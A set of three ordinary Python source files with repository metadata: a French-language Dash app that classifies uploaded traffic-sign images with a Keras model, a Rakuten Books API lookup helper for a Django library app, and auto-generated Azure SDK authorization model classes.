import base64 import io import dash import dash_core_components as dcc import dash_html_components as html import dash_bootstrap_components as dbc from dash.dependencies import Input, Output import numpy as np import tensorflow as tf from PIL import Image from constants import CLASSES import yaml with open('app.yaml') as yaml_data : params = yaml.safe_load(yaml_data) IMAGE_WIDTH = params['IMAGE_WIDTH'] IMAGE_HEIGHT = params['IMAGE_HEIGHT'] PATH_MODEL = params['PATH_MODEL'] # Load DNN model classifier = tf.keras.models.load_model(PATH_MODEL) def classify_image(image, model, image_box=None): """Classify image by model Parameters ---------- content: image content model: tf/keras classifier Returns ------- class id returned by model classifier """ images_list = [] image = image.resize((IMAGE_WIDTH, IMAGE_HEIGHT), box=image_box) # box argument clips image to (x1, y1, x2, y2) image = np.array(image) images_list.append(image) return model.predict_classes(np.array(images_list)) app = dash.Dash('Traffic Signs Recognition', external_stylesheets=[dbc.themes.BOOTSTRAP]) pre_style = { 'whiteSpace': 'pre-wrap', 'wordBreak': 'break-all', 'whiteSpace': 'normal' } # Define application layout navbar = dbc.NavbarSimple( children=[ dbc.DropdownMenu( children=[ dbc.DropdownMenuItem('Réseau de Neurones', header=True), dbc.DropdownMenuItem('SVM', href="#"), ], nav=True, in_navbar=True, label='Modèle', ), ], brand="Menu", brand_href="#", color= "#d90054", dark=True ) cards = html.Div( [ dbc.Card( dbc.CardBody( [ html.H5("Présentation", className="card-title"), html.P( [ 'Cette application à pour but de réaliser des modèles capables de classer des panneaux de signalisation allemand à partir d\'une image. L\'application fonctionne de la manière suivante : vous déposer une image à l\'emplacement indiqué et la prédiction du modèle apparait immédiatement en dessous. En haut à droite vous pouvez sélectionner le modèle que vous voulez tester.', ], className='card-text', ), ] ), className='w-75 mb-3', color='#f1cbd1', outline='Black', style={ 'margin-top': '75px', 'margin-left': '185px'}, ), ] ) app.layout = html.Div([ html.Div([navbar]), html.Div(cards), dcc.Upload( id='bouton-chargement', children=html.Div([ 'Cliquer-déposer ou ', html.A('sélectionner une image') ]), style={ 'width': '50%', 'height': '60px', 'lineHeight': '60px', 'borderWidth': '1px', 'borderStyle': 'dashed', 'borderRadius': '5px', 'textAlign': 'center', 'margin-top': '75px', 'margin-left': '370px', } ), html.Div(id='mon-image'), html.Div(id='ma-zone-resultat') ]) @app.callback(Output('mon-image', 'children'), [Input('bouton-chargement', 'contents')]) def update_output(contents): if contents is not None: content_type, content_string = contents.split(',') if 'image' in content_type: image = Image.open(io.BytesIO(base64.b64decode(content_string))) predicted_class = classify_image(image, classifier)[0] return html.Div([ html.Hr(style={'margin-top': '75px'}), html.Img(src=contents, style={'margin-left': '750px'}), html.H4('Classe prédite : {}'.format(CLASSES[predicted_class]), style={'textAlign': 'center'}), html.Hr(), #html.Div('Raw Content'), #html.Pre(contents, style=pre_style) ]) else: try: # Décodage de l'image transmise en base 64 (cas des fichiers ppm) # fichier base 64 --> image PIL image = Image.open(io.BytesIO(base64.b64decode(content_string))) # image PIL --> conversion PNG --> buffer mémoire buffer = io.BytesIO() image.save(buffer, format='PNG') # buffer mémoire --> image base 64 buffer.seek(0) img_bytes = buffer.read() content_string = base64.b64encode(img_bytes).decode('ascii') # Appel du modèle de classification predicted_class = classify_image(image, classifier)[0] # Affichage de l'image return html.Div([ html.Hr(style={'margin-top': '75px'}), html.Img(src='data:image/png;base64,' + content_string, style={'margin-left': '750px'}), html.H4('Classe prédite : {}'.format(CLASSES[predicted_class]), style={'textAlign': 'center'}), html.Hr(), ]) except: return html.Div([ html.Hr(), html.Div('Uniquement des images svp : {}'.format(content_type)), html.Hr(), html.Div('Raw Content'), html.Pre(contents, style=pre_style) ]) # Manage interactions with callbacks @app.callback( Output(component_id='ma-zone-resultat', component_property='children'), [Input(component_id='mon-champ-texte', component_property='value')] ) def update_output_div(input_value): return html.H3('Valeur saisie ici "{}"'.format(input_value)) # Start the application if __name__ == '__main__': app.run_server(debug=True)

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86a57ddfcf5854e170f6cff9e4deb86cb8f9d464

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py

Python

books/rakutenapi.py

NobukoYano/LibraryApp

623f60614f15ab760e1c0d2f18954ce948f2d2a3

[ "MIT" ]

1

2019-04-27T11:18:42.000Z

books/rakutenapi.py

NobukoYano/LibrayApp

623f60614f15ab760e1c0d2f18954ce948f2d2a3

[ "MIT" ]

11

2020-02-12T00:11:23.000Z

2022-02-10T07:59:24.000Z

books/rakutenapi.py

NobukoYano/LibrayApp

623f60614f15ab760e1c0d2f18954ce948f2d2a3

[ "MIT" ]

null

import json import requests from django.conf import settings class rakuten: def get_json(self, isbn: str) -> dict: appid = settings.RAKUTEN_APP_ID # API request template api = "https://app.rakuten.co.jp/services/api/BooksTotal/"\ "Search/20170404?format=json&isbnjan={isbnjan}&"\ "applicationId={appid}" # format get api URL url = api.format(isbnjan=isbn, appid=appid) # execute r = requests.get(url) # decode to json # Check the status code status_code = r.status_code if status_code != 200: # if failed return None data = json.loads(r.text) if data['count'] == 0: return None json_data = {} json_data['isbn'] = data['Items'][0]['Item']['isbn'] json_data['title'] = data['Items'][0]['Item']['title'] json_data['publisher'] = data['Items'][0]['Item']['publisherName'] json_data['pubdate'] = data['Items'][0]['Item']['salesDate'] json_data['cover'] = data['Items'][0]['Item']['largeImageUrl'] json_data['author'] = data['Items'][0]['Item']['author'] return json_data

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null

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86a699aa985f4eb39369d4b317e19a2eb2706a0b

18,710

py

Python

sdk/authorization/azure-mgmt-authorization/azure/mgmt/authorization/v2018_01_01_preview/models/_models_py3.py

rsdoherty/azure-sdk-for-python

6bba5326677468e6660845a703686327178bb7b1

[ "MIT" ]

2,728

2015-01-09T10:19:32.000Z

2022-03-31T14:50:33.000Z

sdk/authorization/azure-mgmt-authorization/azure/mgmt/authorization/v2018_01_01_preview/models/_models_py3.py

rsdoherty/azure-sdk-for-python

6bba5326677468e6660845a703686327178bb7b1

[ "MIT" ]

17,773

2015-01-05T15:57:17.000Z

2022-03-31T23:50:25.000Z

sdk/authorization/azure-mgmt-authorization/azure/mgmt/authorization/v2018_01_01_preview/models/_models_py3.py

rsdoherty/azure-sdk-for-python

6bba5326677468e6660845a703686327178bb7b1

[ "MIT" ]

1,916

2015-01-19T05:05:41.000Z

2022-03-31T19:36:44.000Z

# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is regenerated. # -------------------------------------------------------------------------- from typing import Any, List, Optional from azure.core.exceptions import HttpResponseError import msrest.serialization class ErrorAdditionalInfo(msrest.serialization.Model): """The resource management error additional info. Variables are only populated by the server, and will be ignored when sending a request. :ivar type: The additional info type. :vartype type: str :ivar info: The additional info. :vartype info: any """ _validation = { 'type': {'readonly': True}, 'info': {'readonly': True}, } _attribute_map = { 'type': {'key': 'type', 'type': 'str'}, 'info': {'key': 'info', 'type': 'object'}, } def __init__( self, **kwargs ): super(ErrorAdditionalInfo, self).__init__(**kwargs) self.type = None self.info = None class ErrorDetail(msrest.serialization.Model): """The error detail. Variables are only populated by the server, and will be ignored when sending a request. :ivar code: The error code. :vartype code: str :ivar message: The error message. :vartype message: str :ivar target: The error target. :vartype target: str :ivar details: The error details. :vartype details: list[~azure.mgmt.authorization.v2018_01_01_preview.models.ErrorDetail] :ivar additional_info: The error additional info. :vartype additional_info: list[~azure.mgmt.authorization.v2018_01_01_preview.models.ErrorAdditionalInfo] """ _validation = { 'code': {'readonly': True}, 'message': {'readonly': True}, 'target': {'readonly': True}, 'details': {'readonly': True}, 'additional_info': {'readonly': True}, } _attribute_map = { 'code': {'key': 'code', 'type': 'str'}, 'message': {'key': 'message', 'type': 'str'}, 'target': {'key': 'target', 'type': 'str'}, 'details': {'key': 'details', 'type': '[ErrorDetail]'}, 'additional_info': {'key': 'additionalInfo', 'type': '[ErrorAdditionalInfo]'}, } def __init__( self, **kwargs ): super(ErrorDetail, self).__init__(**kwargs) self.code = None self.message = None self.target = None self.details = None self.additional_info = None class ErrorResponse(msrest.serialization.Model): """Common error response for all Azure Resource Manager APIs to return error details for failed operations. (This also follows the OData error response format.). :param error: The error object. :type error: ~azure.mgmt.authorization.v2018_01_01_preview.models.ErrorDetail """ _attribute_map = { 'error': {'key': 'error', 'type': 'ErrorDetail'}, } def __init__( self, *, error: Optional["ErrorDetail"] = None, **kwargs ): super(ErrorResponse, self).__init__(**kwargs) self.error = error class Permission(msrest.serialization.Model): """Role definition permissions. :param actions: Allowed actions. :type actions: list[str] :param not_actions: Denied actions. :type not_actions: list[str] :param data_actions: Allowed Data actions. :type data_actions: list[str] :param not_data_actions: Denied Data actions. :type not_data_actions: list[str] """ _attribute_map = { 'actions': {'key': 'actions', 'type': '[str]'}, 'not_actions': {'key': 'notActions', 'type': '[str]'}, 'data_actions': {'key': 'dataActions', 'type': '[str]'}, 'not_data_actions': {'key': 'notDataActions', 'type': '[str]'}, } def __init__( self, *, actions: Optional[List[str]] = None, not_actions: Optional[List[str]] = None, data_actions: Optional[List[str]] = None, not_data_actions: Optional[List[str]] = None, **kwargs ): super(Permission, self).__init__(**kwargs) self.actions = actions self.not_actions = not_actions self.data_actions = data_actions self.not_data_actions = not_data_actions class PermissionGetResult(msrest.serialization.Model): """Permissions information. :param value: An array of permissions. :type value: list[~azure.mgmt.authorization.v2018_01_01_preview.models.Permission] :param next_link: The URL to use for getting the next set of results. :type next_link: str """ _attribute_map = { 'value': {'key': 'value', 'type': '[Permission]'}, 'next_link': {'key': 'nextLink', 'type': 'str'}, } def __init__( self, *, value: Optional[List["Permission"]] = None, next_link: Optional[str] = None, **kwargs ): super(PermissionGetResult, self).__init__(**kwargs) self.value = value self.next_link = next_link class ProviderOperation(msrest.serialization.Model): """Operation. :param name: The operation name. :type name: str :param display_name: The operation display name. :type display_name: str :param description: The operation description. :type description: str :param origin: The operation origin. :type origin: str :param properties: The operation properties. :type properties: any :param is_data_action: The dataAction flag to specify the operation type. :type is_data_action: bool """ _attribute_map = { 'name': {'key': 'name', 'type': 'str'}, 'display_name': {'key': 'displayName', 'type': 'str'}, 'description': {'key': 'description', 'type': 'str'}, 'origin': {'key': 'origin', 'type': 'str'}, 'properties': {'key': 'properties', 'type': 'object'}, 'is_data_action': {'key': 'isDataAction', 'type': 'bool'}, } def __init__( self, *, name: Optional[str] = None, display_name: Optional[str] = None, description: Optional[str] = None, origin: Optional[str] = None, properties: Optional[Any] = None, is_data_action: Optional[bool] = None, **kwargs ): super(ProviderOperation, self).__init__(**kwargs) self.name = name self.display_name = display_name self.description = description self.origin = origin self.properties = properties self.is_data_action = is_data_action class ProviderOperationsMetadata(msrest.serialization.Model): """Provider Operations metadata. :param id: The provider id. :type id: str :param name: The provider name. :type name: str :param type: The provider type. :type type: str :param display_name: The provider display name. :type display_name: str :param resource_types: The provider resource types. :type resource_types: list[~azure.mgmt.authorization.v2018_01_01_preview.models.ResourceType] :param operations: The provider operations. :type operations: list[~azure.mgmt.authorization.v2018_01_01_preview.models.ProviderOperation] """ _attribute_map = { 'id': {'key': 'id', 'type': 'str'}, 'name': {'key': 'name', 'type': 'str'}, 'type': {'key': 'type', 'type': 'str'}, 'display_name': {'key': 'displayName', 'type': 'str'}, 'resource_types': {'key': 'resourceTypes', 'type': '[ResourceType]'}, 'operations': {'key': 'operations', 'type': '[ProviderOperation]'}, } def __init__( self, *, id: Optional[str] = None, name: Optional[str] = None, type: Optional[str] = None, display_name: Optional[str] = None, resource_types: Optional[List["ResourceType"]] = None, operations: Optional[List["ProviderOperation"]] = None, **kwargs ): super(ProviderOperationsMetadata, self).__init__(**kwargs) self.id = id self.name = name self.type = type self.display_name = display_name self.resource_types = resource_types self.operations = operations class ProviderOperationsMetadataListResult(msrest.serialization.Model): """Provider operations metadata list. :param value: The list of providers. :type value: list[~azure.mgmt.authorization.v2018_01_01_preview.models.ProviderOperationsMetadata] :param next_link: The URL to use for getting the next set of results. :type next_link: str """ _attribute_map = { 'value': {'key': 'value', 'type': '[ProviderOperationsMetadata]'}, 'next_link': {'key': 'nextLink', 'type': 'str'}, } def __init__( self, *, value: Optional[List["ProviderOperationsMetadata"]] = None, next_link: Optional[str] = None, **kwargs ): super(ProviderOperationsMetadataListResult, self).__init__(**kwargs) self.value = value self.next_link = next_link class ResourceType(msrest.serialization.Model): """Resource Type. :param name: The resource type name. :type name: str :param display_name: The resource type display name. :type display_name: str :param operations: The resource type operations. :type operations: list[~azure.mgmt.authorization.v2018_01_01_preview.models.ProviderOperation] """ _attribute_map = { 'name': {'key': 'name', 'type': 'str'}, 'display_name': {'key': 'displayName', 'type': 'str'}, 'operations': {'key': 'operations', 'type': '[ProviderOperation]'}, } def __init__( self, *, name: Optional[str] = None, display_name: Optional[str] = None, operations: Optional[List["ProviderOperation"]] = None, **kwargs ): super(ResourceType, self).__init__(**kwargs) self.name = name self.display_name = display_name self.operations = operations class RoleAssignment(msrest.serialization.Model): """Role Assignments. Variables are only populated by the server, and will be ignored when sending a request. :ivar id: The role assignment ID. :vartype id: str :ivar name: The role assignment name. :vartype name: str :ivar type: The role assignment type. :vartype type: str :param scope: The role assignment scope. :type scope: str :param role_definition_id: The role definition ID. :type role_definition_id: str :param principal_id: The principal ID. :type principal_id: str :param can_delegate: The Delegation flag for the role assignment. :type can_delegate: bool """ _validation = { 'id': {'readonly': True}, 'name': {'readonly': True}, 'type': {'readonly': True}, } _attribute_map = { 'id': {'key': 'id', 'type': 'str'}, 'name': {'key': 'name', 'type': 'str'}, 'type': {'key': 'type', 'type': 'str'}, 'scope': {'key': 'properties.scope', 'type': 'str'}, 'role_definition_id': {'key': 'properties.roleDefinitionId', 'type': 'str'}, 'principal_id': {'key': 'properties.principalId', 'type': 'str'}, 'can_delegate': {'key': 'properties.canDelegate', 'type': 'bool'}, } def __init__( self, *, scope: Optional[str] = None, role_definition_id: Optional[str] = None, principal_id: Optional[str] = None, can_delegate: Optional[bool] = None, **kwargs ): super(RoleAssignment, self).__init__(**kwargs) self.id = None self.name = None self.type = None self.scope = scope self.role_definition_id = role_definition_id self.principal_id = principal_id self.can_delegate = can_delegate class RoleAssignmentCreateParameters(msrest.serialization.Model): """Role assignment create parameters. All required parameters must be populated in order to send to Azure. :param role_definition_id: Required. The role definition ID used in the role assignment. :type role_definition_id: str :param principal_id: Required. The principal ID assigned to the role. This maps to the ID inside the Active Directory. It can point to a user, service principal, or security group. :type principal_id: str :param can_delegate: The delegation flag used for creating a role assignment. :type can_delegate: bool """ _validation = { 'role_definition_id': {'required': True}, 'principal_id': {'required': True}, } _attribute_map = { 'role_definition_id': {'key': 'properties.roleDefinitionId', 'type': 'str'}, 'principal_id': {'key': 'properties.principalId', 'type': 'str'}, 'can_delegate': {'key': 'properties.canDelegate', 'type': 'bool'}, } def __init__( self, *, role_definition_id: str, principal_id: str, can_delegate: Optional[bool] = None, **kwargs ): super(RoleAssignmentCreateParameters, self).__init__(**kwargs) self.role_definition_id = role_definition_id self.principal_id = principal_id self.can_delegate = can_delegate class RoleAssignmentFilter(msrest.serialization.Model): """Role Assignments filter. :param principal_id: Returns role assignment of the specific principal. :type principal_id: str :param can_delegate: The Delegation flag for the role assignment. :type can_delegate: bool """ _attribute_map = { 'principal_id': {'key': 'principalId', 'type': 'str'}, 'can_delegate': {'key': 'canDelegate', 'type': 'bool'}, } def __init__( self, *, principal_id: Optional[str] = None, can_delegate: Optional[bool] = None, **kwargs ): super(RoleAssignmentFilter, self).__init__(**kwargs) self.principal_id = principal_id self.can_delegate = can_delegate class RoleAssignmentListResult(msrest.serialization.Model): """Role assignment list operation result. :param value: Role assignment list. :type value: list[~azure.mgmt.authorization.v2018_01_01_preview.models.RoleAssignment] :param next_link: The URL to use for getting the next set of results. :type next_link: str """ _attribute_map = { 'value': {'key': 'value', 'type': '[RoleAssignment]'}, 'next_link': {'key': 'nextLink', 'type': 'str'}, } def __init__( self, *, value: Optional[List["RoleAssignment"]] = None, next_link: Optional[str] = None, **kwargs ): super(RoleAssignmentListResult, self).__init__(**kwargs) self.value = value self.next_link = next_link class RoleDefinition(msrest.serialization.Model): """Role definition. Variables are only populated by the server, and will be ignored when sending a request. :ivar id: The role definition ID. :vartype id: str :ivar name: The role definition name. :vartype name: str :ivar type: The role definition type. :vartype type: str :param role_name: The role name. :type role_name: str :param description: The role definition description. :type description: str :param role_type: The role type. :type role_type: str :param permissions: Role definition permissions. :type permissions: list[~azure.mgmt.authorization.v2018_01_01_preview.models.Permission] :param assignable_scopes: Role definition assignable scopes. :type assignable_scopes: list[str] """ _validation = { 'id': {'readonly': True}, 'name': {'readonly': True}, 'type': {'readonly': True}, } _attribute_map = { 'id': {'key': 'id', 'type': 'str'}, 'name': {'key': 'name', 'type': 'str'}, 'type': {'key': 'type', 'type': 'str'}, 'role_name': {'key': 'properties.roleName', 'type': 'str'}, 'description': {'key': 'properties.description', 'type': 'str'}, 'role_type': {'key': 'properties.type', 'type': 'str'}, 'permissions': {'key': 'properties.permissions', 'type': '[Permission]'}, 'assignable_scopes': {'key': 'properties.assignableScopes', 'type': '[str]'}, } def __init__( self, *, role_name: Optional[str] = None, description: Optional[str] = None, role_type: Optional[str] = None, permissions: Optional[List["Permission"]] = None, assignable_scopes: Optional[List[str]] = None, **kwargs ): super(RoleDefinition, self).__init__(**kwargs) self.id = None self.name = None self.type = None self.role_name = role_name self.description = description self.role_type = role_type self.permissions = permissions self.assignable_scopes = assignable_scopes class RoleDefinitionFilter(msrest.serialization.Model): """Role Definitions filter. :param role_name: Returns role definition with the specific name. :type role_name: str :param type: Returns role definition with the specific type. :type type: str """ _attribute_map = { 'role_name': {'key': 'roleName', 'type': 'str'}, 'type': {'key': 'type', 'type': 'str'}, } def __init__( self, *, role_name: Optional[str] = None, type: Optional[str] = None, **kwargs ): super(RoleDefinitionFilter, self).__init__(**kwargs) self.role_name = role_name self.type = type class RoleDefinitionListResult(msrest.serialization.Model): """Role definition list operation result. :param value: Role definition list. :type value: list[~azure.mgmt.authorization.v2018_01_01_preview.models.RoleDefinition] :param next_link: The URL to use for getting the next set of results. :type next_link: str """ _attribute_map = { 'value': {'key': 'value', 'type': '[RoleDefinition]'}, 'next_link': {'key': 'nextLink', 'type': 'str'}, } def __init__( self, *, value: Optional[List["RoleDefinition"]] = None, next_link: Optional[str] = None, **kwargs ): super(RoleDefinitionListResult, self).__init__(**kwargs) self.value = value self.next_link = next_link

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